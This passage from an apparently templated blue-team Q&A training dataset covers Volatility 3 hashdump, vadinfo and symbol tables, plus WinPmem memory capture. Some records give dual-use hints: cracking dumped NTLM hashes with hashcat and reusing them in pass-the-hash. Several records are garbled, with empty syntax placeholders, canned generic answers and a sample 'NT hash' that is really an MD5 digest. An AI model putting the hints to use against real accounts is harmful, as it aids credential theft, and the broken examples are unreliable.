"source_id": "security-tools-volatility-windowshashdump---password-hashes", "license": "original", "retrieved_at": "2025-12-18T00:11:32.031301Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.031441Z", "updated_at": "2025-12-18T00:11:32.031441Z"} +{"id": "trtp-3eac64f7ae03", "instruction": "What are common tips for Volatility 3?", "output": "Tips for using Volatility 3:\n\n- 31d6cfe... NT hash = empty password\n- Use with hashcat for cracking\n- Look for unexpected accounts\n\nUseful for: Extract password hashes, Identify compromised accounts, Check for backdoor accounts", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowshashdump---password-hashes", "license": "original", "retrieved_at": "2025-12-18T00:11:32.031301Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.031466Z", "updated_at": "2025-12-18T00:11:32.031466Z"} +{"id": "trtp-77e4f3818e75", "instruction": "How do I use Volatility 3 for threat detection?", "output": "Using Volatility 3 for threat detection:\n\nwindows.hashdump extracts password hashes (LM/NTLM) from the SAM registry hive in memory. Requires SYSTEM and SAM hives to decrypt the hashes.\n\nExample:\n```\nvol -f memory.dmp windows.hashdump\n\nUser RID LMHash NTHash\nAdministrator 500 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0\nbackdoor 1001 aad3b435b51404eeaad3b435b51404ee 5f4dcc3b5aa765d61d8327deb882cf99\n```\n\nTips:\n- 31d6cfe... NT hash = empty password\n- Use with hashcat for cracking", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowshashdump---password-hashes", "license": "original", "retrieved_at": "2025-12-18T00:11:32.031301Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.031488Z", "updated_at": "2025-12-18T00:11:32.031488Z"} +{"id": "trtp-910e27c86646", "instruction": "How do I use Volatility 3 for forensic analysis?", "output": "Forensic analysis with Volatility 3:\n\nwindows.hashdump extracts password hashes (LM/NTLM) from the SAM registry hive in memory. Requires SYSTEM and SAM hives to decrypt the hashes.\n\nForensic applications:\n- Extract password hashes\n- Identify compromised accounts\n- Check for backdoor accounts\n\nWhat to look for: LM hash of aad3b... = empty LM hash. NT hash can be cracked or used in pass-the-hash.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowshashdump---password-hashes", "license": "original", "retrieved_at": "2025-12-18T00:11:32.031301Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.031501Z", "updated_at": "2025-12-18T00:11:32.031501Z"} +{"id": "trtp-6e35911a4ad9", "instruction": "What is the typical workflow for using Volatility 3?", "output": "Workflow for windows.hashdump - Password Hashes:\n\n1. Understand the context: windows.hashdump extracts password hashes (LM/NTLM) from the SAM registry hive in memory. Requires SYSTEM and SAM hives to decrypt the hashes.\n\n2. Apply the tool:\n```\nvol -f memory.dmp windows.hashdump\n\nUser RID LMHash NTHash\nAdministrator 500 aad3b435b51404eeaad3b435b51404ee 31d6cfe0d16ae931b73c59d7e0c089c0\nbackdoor 1001 aad3b435b51404eeaad3b435b51404ee 5f4dcc3b5aa765d61d8327deb882cf99\n```\n\n3. Common scenarios: Extract password hashes, Identify compromised accounts, Check for backdoor accounts\n\n4. Best practices:\n - 31d6cfe... NT hash = empty password\n - Use with hashcat for cracking", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowshashdump---password-hashes", "license": "original", "retrieved_at": "2025-12-18T00:11:32.031301Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.031527Z", "updated_at": "2025-12-18T00:11:32.031527Z"} +{"id": "trtp-b3450ef5be55", "instruction": "What are the advantages of Volatility 3 for security analysis?", "output": "Advantages of Volatility 3:\n\nwindows.hashdump extracts password hashes (LM/NTLM) from the SAM registry hive in memory. Requires SYSTEM and SAM hives to decrypt the hashes.\n\nBest suited for:\n- Extract password hashes\n- Identify compromised accounts\n- Check for backdoor accounts\n- Password cracking prep\n\nMemory analysis provides unique visibility into running processes and hidden artifacts.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowshashdump---password-hashes", "license": "original", "retrieved_at": "2025-12-18T00:11:32.031301Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.031551Z", "updated_at": "2025-12-18T00:11:32.031551Z"} +{"id": "trtp-adc44179026a", "instruction": "Can Volatility 3 be combined with other analysis methods?", "output": "Integration points for Volatility 3:\n\nwindows.hashdump extracts password hashes (LM/NTLM) from the SAM registry hive in memory. Requires SYSTEM and SAM hives to decrypt the hashes.\n\nIntegration suggestions:\n- Correlate findings with disk forensics\n- Export IOCs for network monitoring\n- Feed malware samples to sandbox analysis\n- Compare with baseline memory images", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowshashdump---password-hashes", "license": "original", "retrieved_at": "2025-12-18T00:11:32.031301Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.031565Z", "updated_at": "2025-12-18T00:11:32.031565Z"} +{"id": "trtp-8482b088bcac", "instruction": "What is Volatility 3 and how is it used in security?", "output": "windows.vadinfo - Virtual Address Descriptors\n\nwindows.vadinfo displays Virtual Address Descriptor information for a process showing memory regions, protections, and mapped files. Essential for understanding process memory layout.\n\nPlatform: windows\n\nCommon uses:\n- Analyze memory layout\n- Find injected regions\n- Identify memory protections\n- Detect process hollowing", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsvadinfo---virtual-address-descriptors", "license": "original", "retrieved_at": "2025-12-18T00:11:32.031898Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.031940Z", "updated_at": "2025-12-18T00:11:32.031940Z"} +{"id": "trtp-c07079cc7f49", "instruction": "How do I use Volatility 3?", "output": "Syntax for Volatility 3:\n\nvol -f windows.vadinfo --pid \n\nwindows.vadinfo displays Virtual Address Descriptor information for a process showing memory regions, protections, and mapped files. Essential for understanding process memory layout.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsvadinfo---virtual-address-descriptors", "license": "original", "retrieved_at": "2025-12-18T00:11:32.031898Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.031957Z", "updated_at": "2025-12-18T00:11:32.031957Z"} +{"id": "trtp-fda95fc3e24a", "instruction": "How would I use Volatility 3 for Analyze memory layout?", "output": "Example of windows.vadinfo - Virtual Address Descriptors:\n\n```\nvol -f memory.dmp windows.vadinfo --pid 1234\n\nStart End Tag Protection Filename\n0x00400000 0x00500000 Vad PAGE_EXECUTE_READ \\malware.exe\n0x10000000 0x10100000 VadS PAGE_EXECUTE_READWRITE \n```\n\nInterpretation: VadS with no filename and RWX protection = likely injected. PAGE_EXECUTE_READWRITE is suspicious.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsvadinfo---virtual-address-descriptors", "license": "original", "retrieved_at": "2025-12-18T00:11:32.031898Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.031969Z", "updated_at": "2025-12-18T00:11:32.031969Z"} +{"id": "trtp-89fdf2d0ea73", "instruction": "Provide an example of using Volatility 3.", "output": "Here is a practical example of Volatility 3:\n\n```\nvol -f memory.dmp windows.vadinfo --pid 1234\n\nStart End Tag Protection Filename\n0x00400000 0x00500000 Vad PAGE_EXECUTE_READ \\malware.exe\n0x10000000 0x10100000 VadS PAGE_EXECUTE_READWRITE \n```\n\nwindows.vadinfo displays Virtual Address Descriptor information for a process showing memory regions, protections, and mapped files. Essential for understanding process memory layout.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsvadinfo---virtual-address-descriptors", "license": "original", "retrieved_at": "2025-12-18T00:11:32.031898Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.031980Z", "updated_at": "2025-12-18T00:11:32.031980Z"} +{"id": "trtp-fac734e3d67c", "instruction": "When should I use Volatility 3?", "output": "Use cases for Volatility 3:\n\n- Analyze memory layout\n- Find injected regions\n- Identify memory protections\n- Detect process hollowing\n\nwindows.vadinfo displays Virtual Address Descriptor information for a process showing memory regions, protections, and mapped files. Essential for understanding process memory layout.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsvadinfo---virtual-address-descriptors", "license": "original", "retrieved_at": "2025-12-18T00:11:32.031898Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.032025Z", "updated_at": "2025-12-18T00:11:32.032025Z"} +{"id": "trtp-afbed1cec8d5", "instruction": "How do I interpret Volatility 3 output?", "output": "Interpreting Volatility 3 output:\n\nVadS with no filename and RWX protection = likely injected. PAGE_EXECUTE_READWRITE is suspicious.\n\nExample output:\n```\nvol -f memory.dmp windows.vadinfo --pid 1234\n\nStart End Tag Protection Filename\n0x00400000 0x00500000 Vad PAGE_EXECUTE_READ \\malware.exe\n0x10000000 0x10100000 VadS PAGE_EXECUTE_READWRITE \n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsvadinfo---virtual-address-descriptors", "license": "original", "retrieved_at": "2025-12-18T00:11:32.031898Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.032036Z", "updated_at": "2025-12-18T00:11:32.032036Z"} +{"id": "trtp-a78c8366a3e0", "instruction": "What are some tips for using Volatility 3?", "output": "Tips for using Volatility 3:\n\n- RWX regions without files are suspicious\n- Compare VAD ranges with modules\n- Look for executable anonymous memory\n\nUseful for: Analyze memory layout, Find injected regions, Identify memory protections", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsvadinfo---virtual-address-descriptors", "license": "original", "retrieved_at": "2025-12-18T00:11:32.031898Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.032053Z", "updated_at": "2025-12-18T00:11:32.032053Z"} +{"id": "trtp-bf92cf5428c5", "instruction": "What should I look for when using Volatility 3 for incident response?", "output": "Using Volatility 3 for threat detection:\n\nwindows.vadinfo displays Virtual Address Descriptor information for a process showing memory regions, protections, and mapped files. Essential for understanding process memory layout.\n\nExample:\n```\nvol -f memory.dmp windows.vadinfo --pid 1234\n\nStart End Tag Protection Filename\n0x00400000 0x00500000 Vad PAGE_EXECUTE_READ \\malware.exe\n0x10000000 0x10100000 VadS PAGE_EXECUTE_READWRITE \n```\n\nTips:\n- RWX regions without files are suspicious\n- Compare VAD ranges with modules", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsvadinfo---virtual-address-descriptors", "license": "original", "retrieved_at": "2025-12-18T00:11:32.031898Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.032069Z", "updated_at": "2025-12-18T00:11:32.032069Z"} +{"id": "trtp-7b9f0bb3cf9e", "instruction": "How do I use Volatility 3 for forensic analysis?", "output": "Forensic analysis with Volatility 3:\n\nwindows.vadinfo displays Virtual Address Descriptor information for a process showing memory regions, protections, and mapped files. Essential for understanding process memory layout.\n\nForensic applications:\n- Analyze memory layout\n- Find injected regions\n- Identify memory protections\n\nWhat to look for: VadS with no filename and RWX protection = likely injected. PAGE_EXECUTE_READWRITE is suspicious.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsvadinfo---virtual-address-descriptors", "license": "original", "retrieved_at": "2025-12-18T00:11:32.031898Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.032091Z", "updated_at": "2025-12-18T00:11:32.032091Z"} +{"id": "trtp-d92bf6dc4de2", "instruction": "What is the typical workflow for using Volatility 3?", "output": "Workflow for windows.vadinfo - Virtual Address Descriptors:\n\n1. Understand the context: windows.vadinfo displays Virtual Address Descriptor information for a process showing memory regions, protections, and mapped files. Essential for understanding process memory layout.\n\n2. Apply the tool:\n```\nvol -f memory.dmp windows.vadinfo --pid 1234\n\nStart End Tag Protection Filename\n0x00400000 0x00500000 Vad PAGE_EXECUTE_READ \\malware.exe\n0x10000000 0x10100000 VadS PAGE_EXECUTE_READWRITE \n```\n\n3. Common scenarios: Analyze memory layout, Find injected regions, Identify memory protections\n\n4. Best practices:\n - RWX regions without files are suspicious\n - Compare VAD ranges with modules", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsvadinfo---virtual-address-descriptors", "license": "original", "retrieved_at": "2025-12-18T00:11:32.031898Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.032105Z", "updated_at": "2025-12-18T00:11:32.032105Z"} +{"id": "trtp-ccafd157cb89", "instruction": "What makes Volatility 3 useful for this task?", "output": "Advantages of Volatility 3:\n\nwindows.vadinfo displays Virtual Address Descriptor information for a process showing memory regions, protections, and mapped files. Essential for understanding process memory layout.\n\nBest suited for:\n- Analyze memory layout\n- Find injected regions\n- Identify memory protections\n- Detect process hollowing\n\nMemory analysis provides unique visibility into running processes and hidden artifacts.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsvadinfo---virtual-address-descriptors", "license": "original", "retrieved_at": "2025-12-18T00:11:32.031898Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.032132Z", "updated_at": "2025-12-18T00:11:32.032132Z"} +{"id": "trtp-6e7390b6d0f7", "instruction": "Can Volatility 3 be combined with other analysis methods?", "output": "Integration points for Volatility 3:\n\nwindows.vadinfo displays Virtual Address Descriptor information for a process showing memory regions, protections, and mapped files. Essential for understanding process memory layout.\n\nIntegration suggestions:\n- Correlate findings with disk forensics\n- Export IOCs for network monitoring\n- Feed malware samples to sandbox analysis\n- Compare with baseline memory images", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-windowsvadinfo---virtual-address-descriptors", "license": "original", "retrieved_at": "2025-12-18T00:11:32.031898Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.032146Z", "updated_at": "2025-12-18T00:11:32.032146Z"} +{"id": "trtp-9dbba4a796da", "instruction": "Explain Volatility 3 for security professionals.", "output": "Volatility Symbol Tables\n\nVolatility 3 uses symbol tables (ISF files) to interpret memory structures. Symbols are downloaded automatically or can be generated with dwarf2json (Linux) or pdbconv (Windows).\n\nPlatform: cross-platform\n\nCommon uses:\n- Enable correct structure parsing\n- Support custom OS versions\n- Analyze non-standard systems", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-volatility-symbol-tables", "license": "original", "retrieved_at": "2025-12-18T00:11:32.032571Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.032599Z", "updated_at": "2025-12-18T00:11:32.032599Z"} +{"id": "trtp-5691c59766ce", "instruction": "What command or query syntax does Volatility 3 use?", "output": "Syntax for Volatility 3:\n\nvol -f -s \n\nVolatility 3 uses symbol tables (ISF files) to interpret memory structures. Symbols are downloaded automatically or can be generated with dwarf2json (Linux) or pdbconv (Windows).", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-volatility-symbol-tables", "license": "original", "retrieved_at": "2025-12-18T00:11:32.032571Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.032613Z", "updated_at": "2025-12-18T00:11:32.032613Z"} +{"id": "trtp-5c7e11ca0e6f", "instruction": "Provide an example of using Volatility 3.", "output": "Example of Volatility Symbol Tables:\n\n```\n# Set symbol path\nexport VOLATILITY_SYMBOL_PATH=/path/to/symbols\n\n# Download symbols automatically\nvol -f memory.dmp windows.pslist\n\n# Generate Windows symbols\npdbconv.py -p ntkrnlmp.pdb -o ntkrnlmp.json\n```\n\nInterpretation: Missing symbols causes 'Unsatisfied requirement' errors", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-volatility-symbol-tables", "license": "original", "retrieved_at": "2025-12-18T00:11:32.032571Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.032629Z", "updated_at": "2025-12-18T00:11:32.032629Z"} +{"id": "trtp-b29393483b78", "instruction": "Show me an example of Volatility 3 in action.", "output": "Here is a practical example of Volatility 3:\n\n```\n# Set symbol path\nexport VOLATILITY_SYMBOL_PATH=/path/to/symbols\n\n# Download symbols automatically\nvol -f memory.dmp windows.pslist\n\n# Generate Windows symbols\npdbconv.py -p ntkrnlmp.pdb -o ntkrnlmp.json\n```\n\nVolatility 3 uses symbol tables (ISF files) to interpret memory structures. Symbols are downloaded automatically or can be generated with dwarf2json (Linux) or pdbconv (Windows).", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-volatility-symbol-tables", "license": "original", "retrieved_at": "2025-12-18T00:11:32.032571Z", "transform_template": "example_detailed_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.032640Z", "updated_at": "2025-12-18T00:11:32.032640Z"} +{"id": "trtp-e87caef9a989", "instruction": "In what scenarios is Volatility 3 useful?", "output": "Use cases for Volatility 3:\n\n- Enable correct structure parsing\n- Support custom OS versions\n- Analyze non-standard systems\n\nVolatility 3 uses symbol tables (ISF files) to interpret memory structures. Symbols are downloaded automatically or can be generated with dwarf2json (Linux) or pdbconv (Windows).", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-volatility-symbol-tables", "license": "original", "retrieved_at": "2025-12-18T00:11:32.032571Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.032657Z", "updated_at": "2025-12-18T00:11:32.032657Z"} +{"id": "trtp-ace67e2cdd7c", "instruction": "How do I read Volatility 3 output?", "output": "Interpreting Volatility 3 output:\n\nMissing symbols causes 'Unsatisfied requirement' errors\n\nExample output:\n```\n# Set symbol path\nexport VOLATILITY_SYMBOL_PATH=/path/to/symbols\n\n# Download symbols automatically\nvol -f memory.dmp windows.pslist\n\n# Generate Windows symbols\npdbconv.py -p ntkrnlmp.pdb -o ntkrnlmp.json\n```", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-volatility-symbol-tables", "license": "original", "retrieved_at": "2025-12-18T00:11:32.032571Z", "transform_template": "interpretation_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.032669Z", "updated_at": "2025-12-18T00:11:32.032669Z"} +{"id": "trtp-27f1cf4b938a", "instruction": "What best practices should I follow when using Volatility 3?", "output": "Tips for using Volatility 3:\n\n- Volatility downloads Windows symbols automatically\n- Linux requires dwarf2json\n- Store symbols for offline analysis\n\nUseful for: Enable correct structure parsing, Support custom OS versions, Analyze non-standard systems", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-volatility-symbol-tables", "license": "original", "retrieved_at": "2025-12-18T00:11:32.032571Z", "transform_template": "tips_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.032681Z", "updated_at": "2025-12-18T00:11:32.032681Z"} +{"id": "trtp-b1c73da125da", "instruction": "What indicators does Volatility 3 help identify?", "output": "Using Volatility 3 for threat detection:\n\nVolatility 3 uses symbol tables (ISF files) to interpret memory structures. Symbols are downloaded automatically or can be generated with dwarf2json (Linux) or pdbconv (Windows).\n\nExample:\n```\n# Set symbol path\nexport VOLATILITY_SYMBOL_PATH=/path/to/symbols\n\n# Download symbols automatically\nvol -f memory.dmp windows.pslist\n\n# Generate Windows symbols\npdbconv.py -p ntkrnlmp.pdb -o ntkrnlmp.json\n```\n\nTips:\n- Volatility downloads Windows symbols automatically\n- Linux requires dwarf2json", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-volatility-symbol-tables", "license": "original", "retrieved_at": "2025-12-18T00:11:32.032571Z", "transform_template": "detection_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.032708Z", "updated_at": "2025-12-18T00:11:32.032708Z"} +{"id": "trtp-38d456618e79", "instruction": "What artifacts does Volatility 3 analyze?", "output": "Forensic analysis with Volatility 3:\n\nVolatility 3 uses symbol tables (ISF files) to interpret memory structures. Symbols are downloaded automatically or can be generated with dwarf2json (Linux) or pdbconv (Windows).\n\nForensic applications:\n- Enable correct structure parsing\n- Support custom OS versions\n- Analyze non-standard systems\n\nWhat to look for: Missing symbols causes 'Unsatisfied requirement' errors", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-volatility-symbol-tables", "license": "original", "retrieved_at": "2025-12-18T00:11:32.032571Z", "transform_template": "forensics_specific_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.032728Z", "updated_at": "2025-12-18T00:11:32.032728Z"} +{"id": "trtp-dad81b08fcbc", "instruction": "How do I incorporate Volatility 3 into my security workflow?", "output": "Workflow for Volatility Symbol Tables:\n\n1. Understand the context: Volatility 3 uses symbol tables (ISF files) to interpret memory structures. Symbols are downloaded automatically or can be generated with dwarf2json (Linux) or pdbconv (Windows).\n\n2. Apply the tool:\n```\n# Set symbol path\nexport VOLATILITY_SYMBOL_PATH=/path/to/symbols\n\n# Download symbols automatically\nvol -f memory.dmp windows.pslist\n\n# Generate Windows symbols\npdbconv.py -p ntkrnlmp.pdb -o ntkrnlmp.json\n```\n\n3. Common scenarios: Enable correct structure parsing, Support custom OS versions, Analyze non-standard systems\n\n4. Best practices:\n - Volatility downloads Windows symbols automatically\n - Linux requires dwarf2json", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-volatility-symbol-tables", "license": "original", "retrieved_at": "2025-12-18T00:11:32.032571Z", "transform_template": "workflow_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.032743Z", "updated_at": "2025-12-18T00:11:32.032743Z"} +{"id": "trtp-f32f1aad0377", "instruction": "What are the advantages of Volatility 3 for security analysis?", "output": "Advantages of Volatility 3:\n\nVolatility 3 uses symbol tables (ISF files) to interpret memory structures. Symbols are downloaded automatically or can be generated with dwarf2json (Linux) or pdbconv (Windows).\n\nBest suited for:\n- Enable correct structure parsing\n- Support custom OS versions\n- Analyze non-standard systems\n\nMemory analysis provides unique visibility into running processes and hidden artifacts.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-volatility-symbol-tables", "license": "original", "retrieved_at": "2025-12-18T00:11:32.032571Z", "transform_template": "comparison_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.032764Z", "updated_at": "2025-12-18T00:11:32.032764Z"} +{"id": "trtp-e0a72a6f6990", "instruction": "Can Volatility 3 be combined with other analysis methods?", "output": "Integration points for Volatility 3:\n\nVolatility 3 uses symbol tables (ISF files) to interpret memory structures. Symbols are downloaded automatically or can be generated with dwarf2json (Linux) or pdbconv (Windows).\n\nIntegration suggestions:\n- Correlate findings with disk forensics\n- Export IOCs for network monitoring\n- Feed malware samples to sandbox analysis\n- Compare with baseline memory images", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-volatility-volatility-symbol-tables", "license": "original", "retrieved_at": "2025-12-18T00:11:32.032571Z", "transform_template": "integration_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.032779Z", "updated_at": "2025-12-18T00:11:32.032779Z"} +{"id": "trtp-22ab9a2e44ae", "instruction": "Explain WinPmem for security professionals.", "output": "WinPmem Memory Acquisition\n\nWinPmem is an open-source Windows memory acquisition tool that creates raw memory dumps. It loads a signed driver to access physical memory and supports multiple output formats.\n\nPlatform: windows\n\nCommon uses:\n- Incident response acquisition\n- Forensic investigation\n- Malware analysis\n- Live memory capture", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-winpmem-memory-acquisition", "license": "original", "retrieved_at": "2025-12-18T00:11:32.033077Z", "transform_template": "explain_tool_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.033104Z", "updated_at": "2025-12-18T00:11:32.033104Z"} +{"id": "trtp-c16b84003d37", "instruction": "How do I use WinPmem?", "output": "Syntax for WinPmem:\n\nwinpmem_mini_x64.exe \n\nWinPmem is an open-source Windows memory acquisition tool that creates raw memory dumps. It loads a signed driver to access physical memory and supports multiple output formats.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-winpmem-memory-acquisition", "license": "original", "retrieved_at": "2025-12-18T00:11:32.033077Z", "transform_template": "syntax_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.033118Z", "updated_at": "2025-12-18T00:11:32.033118Z"} +{"id": "trtp-697cfa37a234", "instruction": "Provide an example of using WinPmem.", "output": "Example of WinPmem Memory Acquisition:\n\n```\n# Acquire memory to raw file\nwinpmem_mini_x64.exe memory.raw\n\n# Acquire to AFF4 format\nwinpmem_mini_x64.exe -o memory.aff4\n\n# Include pagefile\nwinpmem_mini_x64.exe --pagefile memory.raw\n```\n\nInterpretation: Creates raw memory image file for analysis with Volatility or other tools", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-winpmem-memory-acquisition", "license": "original", "retrieved_at": "2025-12-18T00:11:32.033077Z", "transform_template": "example_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, "human_decision": null, "flags": []}, "created_at": "2025-12-18T00:11:32.033137Z", "updated_at": "2025-12-18T00:11:32.033137Z"} +{"id": "trtp-930b7e1f7038", "instruction": "When should I use WinPmem?", "output": "Use cases for WinPmem:\n\n- Incident response acquisition\n- Forensic investigation\n- Malware analysis\n- Live memory capture\n\nWinPmem is an open-source Windows memory acquisition tool that creates raw memory dumps. It loads a signed driver to access physical memory and supports multiple output formats.", "category": "detection", "team": "blue", "phase": "5a", "provenance": {"source_type": "documentation", "source_id": "security-tools-memory_forensics-winpmem-memory-acquisition", "license": "original", "retrieved_at": "2025-12-18T00:11:32.033077Z", "transform_template": "use_cases_v1", "transform_version": "1.0.0"}, "quality": {"auto_score": null, "human_reviewed": false, 